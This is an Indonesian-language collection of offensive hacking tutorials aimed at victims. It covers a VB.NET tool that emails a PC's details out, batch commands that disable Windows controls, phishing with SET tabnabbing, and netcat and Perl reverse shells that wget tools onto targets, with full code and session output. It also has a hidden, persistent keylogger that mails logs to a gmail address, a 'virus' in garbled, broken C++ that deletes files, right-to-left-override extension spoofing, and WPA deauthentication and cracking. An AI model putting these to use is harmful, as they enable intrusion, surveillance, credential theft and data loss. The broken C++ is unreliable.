Tutorial Mencuri data komputer lain + send email

Kali ini saya memakai vb.net 2008

bagi yang belum mempunyai vb.net bisa download di bawah ini :
VB.NET 2008

VB.NET 2010


kalo sudah di download buka vb.net kalian 
[+] klik File > New Project
[+] Klik Windows Forms Application > lalu isikan name dan klik OK 
maka akan keluar form design nya
[+] Lalu klik kanan di toolbox > Choose items 

[+] download dulu MSWINSCK.OCX > 
Klik tab COM Components > Browse > pilih lokasi MSWINSCK.OCX tadi > ok

[+] tambahkan Komponen
2 Button 
1 Textbox
1 AxWinsock
jadi seperti gambar di bawah ini :

dan klik kanan di form > view code > delete semua nya lalu paste kan code di bawah

Imports System.Net.Mail

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

TextBox1.Text = "Nama Komputer : " & System.Environment.MachineName

TextBox1.AppendText(Environment.NewLine & "Nama OS : " & My.Computer.Info.OSFullName)

TextBox1.AppendText(Environment.NewLine & "IP Komputer : " & AxWinsock1.LocalIP)

TextBox1.AppendText(Environment.NewLine & "Port Komputer : " & AxWinsock1.LocalPort)

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

Dim smtpServer As New SmtpClient()

Dim mail As New MailMessage()

smtpServer.Credentials = New Net.NetworkCredential("EMAIL ANDA", "PASSWORD ANDA") 'pakai gmail

smtpServer.Port = 587

smtpServer.Host = "smtp.gmail.com"

smtpServer.EnableSsl = True

mail = New MailMessage()

mail.From = New MailAddress("EMAIL ANDA")

mail.To.Add("EMAIL ANDA")

mail.Subject = "data komputer"

mail.Body = TextBox1.Text & ", "

smtpServer.Send(mail)

MsgBox("Sukses silahkan cek email!")

End Sub

End Class

Note : yang berwarna merah ganti dengan login email kalian

Dan coba di jalankan ( f5 ) , lalu klik Tampilkan Data , maka textbox akan menampilkan data komputer, lalu klik KIRIM , maka komputer akan mengirim isi textbox ke email ente

cek di inbox email ente

cara di atas juga bisa dibuat jadi keylogger, phising send email dll

Dasar membuat virus dengan CMD

Dasar - dasar pembuatan virus CMD atau biasa di kenal dengan Virus

.Bat. Sebenarnya ini bukan virus melainkan code - code script

biasa tapi bila di modifikasi dengan benar code tersebut dapat menjadi

sangat berbahaya, dan orang - orang menyebutnya VIRUS.

Baiklah mari kita lihat code - code di bawah ini berikut dengan penjelasan dan ke gunaannya :

1. Disable taks Manager / CTRL + ALT + DEL

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

 2. Disable Folder Options

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v NoFolderOptions /t REG_DWORD /d 1 /f

3. Disable Run

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v norun /t reg_dword /d 1 /f

4. Disable Find

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v nofind /t reg_dword /d 1 /f

5. Disable Start Menu List

reg ADD HKLM\Software\Microsoft\Windows\Currentversion\Policies\explorer /v Nostartmenupinnedlist /t reg_dword /d 1 /f

6. Disable Shutdown

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v noclose /t reg_dword /d 1 /f

7. Disable File Menu

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v nofilemenu /t reg_dword /d 1 /f

8. Disable Folder Options

reg ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v nostartmenumoreprograms /t reg_dword /d 1 /f

How to Hack Gmail, Twitter, Facebook with Backtrack 5

First open your backtrack terminal and type ifconfig to check your IP

Now Again Open Your Backtrack terminal and Type cd  /pentest/exploits/set

Now Open Social Engineering Toolkit (SET) ./set

Now choose option 2, “Website Attack Vectors”.

In this option we will select option 4 “Tabnabbing Attack Method”.

In this option we will choose option 2 “Site Cloner”.

Enter the URL of the site you want to clone. In this case http://www.gmail.com and hit enter. SET will clone up the web site. And press return to continue.

Now convert your URL into Google URL using goo.gl and send this link address to your victim viaEmail or Chat.

When victim open in their browser it should be a message that the page is still loading. so victim start to open another tab. As soon as victim open new tab, our fake website start working. That script will redirect the victim to the phishing page your derived.

Tutorial Backconnect shell di komputer Target

Sekarang saya akan memberikan tutorial tentang cara backconnect shell/ yg biasa kita sebut backdoor yang kita tanem di komputer target.  ok langsung aja.

connect Back Shell atau lebih akrab disebut Backconnect adalah melakukan remote dari komputer sasaran ke komputer kita. Kalau tadi bindshell adalah remote dari komputer kita ke komputer sasaran, kalau backconnect di balik, dari komputer sasaran ke komputer kita.


Backconnect adalah sebuah alternatif bila bindshell gagal, ntah karena gak punya akses, denied akses, sekurity dari firewall, atau karena komputer sasaran tertutup oleh proxy server (komputer sasaran berada di dalam network yang tertutup oleh proxy). Bila ada proxy di depan komputer sasaran, walau bind berhasil, namun kita tetap tidak bisa melakukan remote konek ke sasaran karena tertutup komputern proxy.


Ketika kita melakukan koneksi, maka koneksi kita akan di tolak karena port yg kita tuju tidak terbuka di firewall. Firewall menolak semua koneksi/request ke port yang tidak dibuka di firewall tersebut. Paket-paket berisi request yang di kirim oleh attacker tidak bisa melewati dinding firewall karena memang jalur tidak terbuka, sehingga request koneksi tidak pernah sampai di komputer sasaran.

Quote:D:\HACK>nc -vv 192.168.10.10 1968
Warning: lookup failed for 192.168.10.10: h_errno 11004: NO_DATA
[192.168.10.10] 1968 (?): connection refused
sent 0, rcvd 0: NOTSOCK

Kasus lain, adalah bila komputer sasaran berada di dalam internal network, yang mana network tersebut tertutup oleh proxy server. Dalam hal ini, proxy server bertindak sebagai gateway network yang ada di dalamnya.


Ketika attacker berhasil binding port di komputer sasaran yang ada di dalam proxy, attacker tetap tidak bisa melakukan remote connection karena port tidak terbuka di komputer proxy. Proxy mengatur lalu lintas data dari port-port yang di seting di proxy untuk di teruskan ke ip dan port yang ada di internal network nya. Ketika attacker binding port di komputer yang di dalam proxy, di proxy tidak pernah di set port yg mengarahkan service ke komputer sasaran melalui port yang di bind. Sehinga proxy akan menolak koneksi ke port yang di minta attacker, karena proxy memang tidak pernah mengenali service pada port yg di minta attacker.

Percobaan koneksi yang akan kita terima adalah seperti berikut :

Quote:D:\HACK>nc -vv 192.168.10.10 1968
Warning: lookup failed for 192.168.10.10: h_errno 11004: NO_DATA
[192.168.10.10] 1968 (?): connection refused
sent 0, rcvd 0: NOTSOCK

Refushed!!! it's refushed... but there is no impossible in the world.
Bagaimana kita mendapatkan koneksi ke komputer sasaran sementara di depan komputer sasaran ada bodyguard yang selalu memukul dan meluluh-lantak-kan setiap koneksi yang di minta dari luar yang tidak di kenal? Inilah dia BackConnect 

Seperti yang saya katakan. Backconnect adalah membalikkan koneksi dari komputer sasaran ke komputer attacker yang telah listening pada port tertentu, dengan membawa/meluncurkan aplikasi tertentu, dalam hal ini (hacking) yang akan kita luncurkan (diluncurkan dari sasaran) adalah /bin/bash.


Sehingga ketika komputer sasaran melakukan koneksi ke komputer attacker, komputer attacker akan menerima koneksi, dan akan membuka dan mengaktifkan aplikasi yang di luncurkan oleh komputer sasaran, dalam hal ini adalah /bin/bash. Dengan demikian, attacker mendapatkan akses interaktif /bin/bash dari komputer sasaran. It is interactive console.

Sippppppppp.
Teknik untuk melakukan backconnect ini hampir sama dengan bindshell. Tool nya pun kita tetep menggunakan netcat. Netcat emang maknyozz!!.

<span style="text-decoration: underline;">BackConnect dengan NetCat</span>
Untuk bisa melakukan backconnect, maka ip yang kita pakai haruslah ip public, atau ip yang terkoneksi langsung ke internet tanpa penghalang proxy.Cara melakukan backconnect sangat mudah, semudah bindshell. Yang perlu kita lakukan pertama kali adalah set mode listening di komputer kita. Hanya set mode listening, tanpa aplikasi apapun, karena kita akan menerima aplikasi yang diluncurkan oleh kompi sasaran.

Quote:[root@localhost][/root] nc -vlp 6888
listening on [any] 6888 ...

Sip. Kompi kita udah listening. Berikutnya kita koneksikan komputer sasaran ke komputer kita dengan meluncurkan aplikasi /bin/bash. Seperti biasa, harus ada netcat di kompi sasaran. Downloadkan dulu netcat ke kompi sasaran. Simpan di direktory yg writeable. Atau langsung aja ke /tmp.

Command untuk backconnect adalah: 

Quote:nc –vv [ip attacker] [port] –e [launch aplication]

Quote:cd /tmp
wget http://hacking.tool/nc
chmod 777 nc
./nc –vv 192.168.10.20 6888 –e /bin/bash

Setelah menjalankan command tersebut di komputer sasaran, sekarang lihatlah komputer kita. Kita sudah mendapatkan koneksi balik dari komputer sasaran dan langsung menerima aplikasi yg diluncurkan oleh komputer sasaran ke komputer kita.

Quote:[root@localhost][/root] nc -vlp 6888
listening on [any] 6888 ...
connect to [192.168.10.20] from (UNKNOWN) [192.168.10.10] 43886
id
uid=48(nobody) gid=48(nobody) groups=48(nobody)
uname –a
Linux astra.2014.ws 2.6.18-164.el5 #1 SMP Thu Sep 3 03:28:30 EDT 2009
x86_64 x86 _64 x86_64 GNU/Linux

Nah, kan. Kita mendapatkan interaktif console melalui teknik backconnect. Selanjutnya, ya terserah kita mau apa. Obok-obok sampe puas pastinya.
Kalau komputer sasaran adalah windows? Sama aja bos. Hanya aplikasi yang diluncurkan adalah cmd.exe

Quote:nc –vv 192.168.10.20 6788 –e cmd.exe

Kemudian kita lihat di komputer kita yang tadi sudah kita set listening.

Quote:[root@localhost][/root] nc -vlp 6788
listening on [any] 6788 ...
192.168.10.10: inverse host lookup failed: Unknown host
connect to [192.168.10.20] from (UNKNOWN) [192.168.10.10] 59681
Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.

Quote:C:\Windows> <<< dapat!!! Kita telah mendapatkan cmd.exe di komp sasaran
C:\Windows>ipconfig <<< tes lihat ip
ipconfig


Windows IP Configuration
PPP adapter:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.10.10
Subnet Mask . . . . . . . . . . . : 255.255.255.255
Default Gateway . . . . . . . . . : 192.168.10.100


D:\Windows>

Nah. Asiiiiiiiiiikkkkkkkkkkkkkkk  udah dpt console interaktif. Selanjutnya tinggal command-command sesuka kita.

<span style="text-decoration: underline;">BackConnect.pl (Backconnect dengan aplikasi perl)</span>
Nah, ada bindshell.pl ada pula backconnect.pl. fungsinya, jelas untuk melakukan backconnect dengan aplikasi perl. Karena ditulis dengan perl, maka aplikasi ini membutuhkan perl juga di komputer sasaran. Bagaimana ngecek nya kalau user kita bisa jalankan perl? Seperti yang dulu, tetep perl –v. Gak perlu panjang lebar, langsung in action.


Set mode listening di komputer kita.

Code:

nc –vlp 9999

Kemudian, kita download backconnect.txt yang sudah kita upload ke hosting kita ke komputer sasaran, di direktory yang writeable tentunya. Seperti biasa pula, langsung menuju /tmp.


Cara pakai backconnectnya: 

Code:

perl backconnect.txt [ip] [port]

Quote:cd /tmp
wget http://hacking.tool/backconnect.txt
perl backconnect.txt 192.168.10.20 9999 &

ok. Setelah menjalankan command ini di komputer korban, kembali ke komputer
kita. Dan lihat,kita dapat console sang korban.

Quote:[root@localhost][/root] nc -vlp 9999
listening on [any] 9999 ...
connect to [192.168.10.20] from (UNKNOWN) [192.168.10.10] 44808
Linux astra.2014.ws 2.6.18-164.el5 #1 SMP Thu Sep 3 03:28:30 EDT 2009
x86_64 x86_64 x86_64 GNU/Linux
uid=48(nobody) gid=48(nobody) groups=48(nobody)
pwd
/tmp
whoami
apache

HAHAY.... akhirnya kita ada di dalem si dia... wkwkwkwkk 

BackConnect's Code

Code:

#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

Nah, sudah mengerti kan tentang remote connection (interactive console)? Cara melakukanya juga gak sulit. Simple gitu aja. Karena ini sangat penting, jadi pahami dengan baik. Untuk yang punya dua komputer, bisa mencobanya dengan kedua
komputernya. 1 sebagai attacker, 1 nya sebagai komputer korban. Banyak aplikasi untuk melakukan teknik ini. Banyak metode untuk mendapatkan interaktive console, because “Hack Is Art”. sekian dulu dari saya, semoga bermanfaat bagi kawan kawan Devilc0de sekalian.

Tutorial Keylogger batch send Mail

ane mau share script keylogger batch yang bisa dikirim lewat email.

Code:

@echo off
set location = %windir%\System32\stsyk.vbs
echo set shell = CreateObject("Wscript.Shell") >> %location%
echo shell.run "C:\windows\k.bat", 0 >> %location%
echo @echo off >> C:\windows\k.bat
echo color c9 >> C:\windows\k.bat
echo :go >> C:\windows\k.bat
echo echo .>>c:\keys.txt  >> C:\windows\k.bat
echo echo :  >> C:\windows\k.bat
echo set /p keys=  >> C:\windows\k.bat
echo echo %keys% >> c:\keys.txt  >> C:\windows\k.bat
echo goto go >> C:\windows\k.bat
echo start %location%  >> C:\windows\k.bat
echo(
echo Dim x > C:\kvqim.vbs
echo on error resume next >> C:\kvqim.vbs
echo Set fso ="Scripting.FileSystem.Object" >> C:\kvqim.vbs
echo Set so=CreateObject(fso) >> C:\kvqim.vbs
echo Set ol=CreateObject("Outlook.Application") >> C:\kvqim.vbs
echo Set out=WScript.CreateObject("Outlook.Application") >> C:\kvqim.vbs
echo Mail.to="cursedgaming@gmail.com">> C:\kvqim.vbs
echo Mail.Subject="Keylog" >> C:\kvqim.vbs
echo Mail.Body="" >> C:\kvqim.vbs
echo Mail.Attachments.Add("C:keys.txt") >> C:\kvqim.vbs
echo Mail.Send >> C:\kvqim.vbs
echo Next >> C:\kvqim.vbs
echo ol.Quit >> C:\kvqim.vbs
C:\kvqim.vbs
)>>C:\Windows\k.bat
ping localhost 5 > nul
del C:\kvqim.vbs
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinBoot /t REG_SZ /d %location%
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinBoot /t REG_SZ /d C:\Windows\k.bat
attrib +h +s %location%
attrib +h +s C:\Windows\k.bat
attrib +h keys.txt
start %location%

Catatan:
Baris ini tolong di edit:
echo Mail.to="cursedgaming@gmail.com">> C:\kvqim.vbs

Ganti dengan email anda

Sebuah Virus sederhana di C++

Code ini ada sebuah coding sederhana yang fungsinya menghapus semua file pengguna tanpa diketahui.script ini hanya menghapus file.txt yang kosong saja di drice C: ..ciri khas aplikasi ini membuat suara seperti "Beep" pada bios kompi tersebut...

selanjutnya copi scrip ini pada complier ente

Code:

# Include <iostream.h>
#include <widows.h>
#include <winable>
#include <stdio.h>

using namespace std;

int main;
{
FreeConsle ();// membuat program yang dijalankan tanpa konsol sehingga pengguna tidak tahu apa yang akan terjadi, ini adalah opsional.
Beep (800.300); / / UNTUK bunyi Beep (ffrequency, durasi 1000 = 1 detik)
    Sleep(3000); Sleep (3000);
    Beep(800,300); Beep (800.300);
    Beep(2400,300); Beep (2400,300);
    Beep(800,300); Beep (800.300);
    Beep(2400,300); Beep (2400,300);
    Beep(800,300); Beep (800.300);
    Beep(2400,300); Beep (2400,300);
    Beep(800,300); Beep (800.300);
    Beep(2400,300); Beep (2400,300);
   menghapus ("C: \ \ file.txt" / * ANDA HARUS menggunakan \ \ tidak \ setelah C :*/);
    return 0; return 0;
}

Ketika ente pake nih Program ini you harus mendengar serangkaian beep (bukan dari speekers dari BIOS Anda) dan akan menghapus file txt.
Ini dapat digunakan untuk misalnya untuk menghapus sistem Anda 32, tetapi Anda harus menulis

Tutorial Social Engineering dengan Ekstensi Files

Kita Mulai saja.
Yang saya butuhkan Cuma Charmap.exe ( semua versi Winndows sudah ada)
dan Tentunya Virus, atau Program lain yang akan dimanipulasi Jenis Ekstensinya


1. Buka Charmap.exe dan cari/pilih type char dengan : "U+202E : Right-To-Left Override ( karakter di samping adalah tipe karakter kosong yang memindahkan karekter setelahnya ke depan ") lalu copy



2. Rename file executable misal: namafile.exe

3. Hapus titik(dot) Sebelum ekstensi "exe" lalu ganti dengan karakter yang sebelumnya telah di copy tadi 

4. lalu ketik " 3pm." : untuk mengubah ke Mp3
untuk mengubah ke ekstensi lain, harap menuliskannya secara terbalik... misalnya "PNG : GNP.", "JPG : GPJ."




5. Lalu Tekan Enter.

6. Sekarang Coba jalankan... File executable Akan tetap terbuka Dengan Normal meskipun berekstensi mp3 >>namafileexe.Mp3


(*) Anda bisa mengganti icon pada file exenya Biar kelihatan meyakinkan
(*) Apabila File Telah terdeteksi Virus, Dirubah dalam bentuk apapun Ekstensinya akan tetap terdeteksi oleh anti virus
(*) Jangan Menghapus kata "exe" yang ada dalam nama File

Install Backtrack 5 to USB

Required Tools and Preparation

USB Thumbdrive (Minimum USB Drive capacity 4 GB)

Backtrack 5 ISO file, md5sum verified.

UNetbootin - A tool to transfer an iso image to a USB drive

UNetbootin allows you to create bootable Live USB drives for Ubuntu, Fedora, and other Linux distributions without burning a CD. It runs on both Windows and Linux. You can either let UNetbootin download one of the many distributions supported out-of-the-box for you, or supply your own Linux .iso file if you've already downloaded one or your preferred distribution isn't on the list. This method of getting a live install to a USB drive is the simplest available using Unetbootin. Note that we will format the USB drive and erase its contents.

Note: you can now save changes made to the system across reboots (persistence).

• Download the latest BackTrack iso from HERE
• Download latest version (Linux, Windows, OSX) FROM HERE

• Plug in your USB Drive
• Format the USB drive to FAT32
• Start Unetbootin and select the "diskimage" option, choose a BackTrack 5 ISO file.
• Select the amount of space to use for persistence in MB
• Select your USB drive and click “OK” for creating a bootable BackTrack USB drive.

• Once rebooted, remember that the default username and password are root / toor.

Tutorial Wireless Hacking – Cracking WPA / PSK Key Menggunakan Linux Backtrack 5

Pasti begitu banyak yang mendapatkan Hotspot Gratis, tapi juga ada yang menggunakan Password! Sial kalo sedang mau wireless’an eh di password. Nah berikut ini adalah cara untuk melakukan Hacking / Cracking terhadap WPA / PSK yang di password.



Oke, yang diperlukan adalah:

Quote:1. Anda menggunakan BackTrack 5 Linux sebagai OS Secondary anda, buatlah dual booting di LAPTOP anda

2. Anda harus mengumpulkan password worldlist, agar bisa dilihat passwordnya, silakan dicari di google.

3. Koneksi wireless / wireless card

4. WPA yang ada di laptop anda.

5. John the ripper password cracker.

6. Aircrack-ng & airodump-ng (Aircrack package dah)

Biasanya tools yang dibutuhkan diatas sudah lengkap ada di BackTrack, klo bukan BT ya silakan Install



Oke mari kita lanjutkan:
1. Kita buka shell prompt di BT dan tampilkan wireless yang sedang ada di sekitar kita, berikut adalah perintahnya:

Code:

root@binushacker:~# airmon-ng start wlan0

Interface Chipset Driver



wlan0 Zydas zd1211 zd1211rw – [phy1]

(monitor mode enabled on mon0)


2. Khekhehehe.. Ternyata ada yang nongol, yuk mari kita jadikan target wireless tersebut:

Code:

root@binushacker:~# airodump-ng mon0

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

38:E7:D8:AD:B2:0E 0 61 0 0 11 54e WPA2 CCMP PSK Wireless

3. Wokeh, sudah tersedia, mari kita mulai mengambil / mencuri akses wireless:

Code:

root@binushacker:~# airodump-ng mon0 –channel 11 –bssid 38:E7:D8:AD:B2:0E -w /tmp/wpa2

CH 11 ][ BAT: 3 hours 51 mins ][ Elapsed: 7 mins ][ 2011-09-26 21:24

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

38:E7:D8:AD:B2:0E 0 100 4319 83 0 11 54e WPA2 CCMP PSK Wireless

BSSID STATION PWR Rate Lost Packets Probes

38:E7:D8:AD:B2:0E 00:03:6D:F4:F8:86 0 1 -48 0 81 Wireless

Kita tunggu user untuk melakukan autentikasi dan de-autentikasi selama beberapa waktu.

Sabar saja ketika menunggu ya.. Pasti ada yang login & logout kan? Nah sampai ketemu hal seperti berikut dibawah:
4. Kita mendapatkan user yang sedang logout / deautentikasi / kita buat dia deautentikasi, kita gunakan perintah berikut:

Code:

root@binushacker:~# aireplay-ng -0 1 -a 38:E7:D8:AD:B2:0E -c 00:03:6D:F4:F8:86 mon0

21:25:49 Waiting for beacon frame (BSSID: 38:E7:D8:AD:B2:0E) on channel 11

21:25:50 Sending 64 directed DeAuth. STMAC: [00:03:6D:F4:F8:86] [62|63 ACKs]

root@binushacker:~#

5. Setelah logout & user tesebut login lagi, maka kita akan mendapatkan informasi key loginnya seperti hal berikut:

Code:

CH 11 ][ BAT: 3 hours 43 mins ][ Elapsed: 1 min ][ 2011-09-26 21:27 ][ WPA handshake: 38:E7:D8:AD:B2:0E

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

38:E7:D8:AD:B2:0E 0 96 807 28 0 11 54e WPA2 CCMP PSK Wireless

BSSID STATION PWR Rate Lost Packets Probes

38:E7:D8:AD:B2:0E 00:03:6D:F4:F8:86 0 54 - 6 0 161

6. Nah kita dapatkan nih autentikasinya, kita mulai dengan John The Ripper, pastikan bahwa anda memiliki wordlist yang sangat banyak dan kompleks agar bisa ketemu KEY nya:

Code:

root@binushacker:~# aircrack-ng -w /pentest/passwords/john/password.lst -b 38:E7:D8:AD:B2:0E /tmp/wpa*.cap

Opening /tmp/wpa2-01.cap

Opening /tmp/wpa2-02.cap

Reading packets, please wait...

Aircrack-ng 1.1 r1904

[00:00:00] 48 keys tested (489.60 k/s)

KEY FOUND! [ W!R3L3$$PWD ]



om Key : 02 A7 BC 5F 24 67 CA 2A B5 FC F0 01 1E D5 9B 2C

8B 42 A5 A8 C6 55 6B 33 4A 09 8B 07 84 D3 C0 1D



Transient Key : 3F 56 FD 2B 2F CE FA D9 55 14 84 2F 53 31 42 BF

8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 B1 9C 6C

6B D7 5A 1C 11 22 3F 0B 7E 1D 42 51 5E 55 F4 28

D2 3A DB 75 81 DD 4E BB 64 51 29 86 AA 55 06 7B



EAPOL HMAC : 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9B

root@binushacker:~#

Quote:Nah, passwordnya ketemu: W!R3L3$$PWD

7. Klo anda gak mau pake wordlist, ya biasanya menunggu agak lama, apalagi klo komputernya lemot bisa berabe. Berikut adalah cara tanpa menggunakan wordlist dengan John The Ripper:

Code:

root@binushacker:~# /pentest/passwords/john/john --stdout --incremental:all | aircrack-ng -b 38:E7:D8:AD:B2:0E -w - /tmp/wpa2*.cap

Opening /tmp/wpa2-01.cap

Opening /tmp/wpa2-02.cap

Reading packets, please wait...

Aircrack-ng 1.1 r1904

[00:00:22] 11484 keys tested (534.50 k/s)

KEY FOUND! [ W!R3L3$$PWD ]



om Key : 02 A7 BC 5F 24 67 CA 2A B5 FC F0 01 1E D5 9B 2C

8B 42 A5 A8 C6 55 6B 33 4A 09 8B 07 84 D3 C0 1D



Transient Key : 3F 56 FD 2B 2F CE FA D9 55 14 84 2F 53 31 42 BF

8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 B1 9C 6C

6B D7 5A 1C 11 22 3F 0B 7E 1D 42 51 5E 55 F4 28

D2 3A DB 75 81 DD 4E BB 64 51 29 86 AA 55 06 7B



EAPOL HMAC : 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9B

root@binushacker:~#